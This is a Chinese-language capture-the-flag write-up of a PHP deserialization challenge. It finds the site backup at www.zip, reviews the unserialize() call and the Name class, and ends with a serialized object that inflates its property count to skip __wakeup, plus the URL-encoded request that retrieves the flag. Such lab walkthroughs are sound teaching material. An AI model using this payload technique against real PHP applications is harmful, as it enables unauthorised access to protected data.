首先看首页先想到扫描目录,用dirsearch扫了一遍之后没有发现之后猜想“备份网站”可能不存在,可能备份网站时整个网站的压缩备份,直接在网址后面加上/www.zip后发现确实是整个网站压缩到压缩包进行备份。
下载压缩包后查看源码进行分析,先看index.php源码
<!DOCTYPE html> <head> <meta charset="UTF-8"> <title>I have a cat!</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css"> <link rel="stylesheet" href="style.css"> </head> <style> #login{ position: absolute; top: 50%; left:50%; margin: -150px 0 0 -150px; width: 300px; height: 300px; } h4{ font-size: 2em; margin: 0.67em 0; } </style> <body> <div id="world"> <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯 </div> <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!! </div> <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;"> <?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select); ?> </div> <div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div> </div> <script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script> <script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script> <script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script> <script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script> <script src="index.js"></script> </body> </html>发现我们可以控制select参数,并且有unserialize()将select参数反序列化
<?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select); ?>index.php源码中已包含class.php,继续查看class.php源码
<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>发现源码中含有_wakeup()和_destruct()两个魔术方法,flag在_destruct()中,且若password等于100并且cusername等于admin则能拿到flag,而_wakeup会将输入的admin变为guest,所以我们考虑在反序列化的时候绕过_wakeup()。而我们现在只能控制select参数,但index.php源码中有反序列化函数unserialize(),我们可通过控制select的内容,间接控制unserialize()创建出的对象。
序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行,所以通过select传入一个Name对象数据,让 unserialize()恢复出的对象为unsername=admin,password=100,并利用属性数量异常绕过__wakeup
O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";s:3:"100";}但由于是URL解析,不能直接传这些特殊字符,所以URL编码一下该字符为
/index.php?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D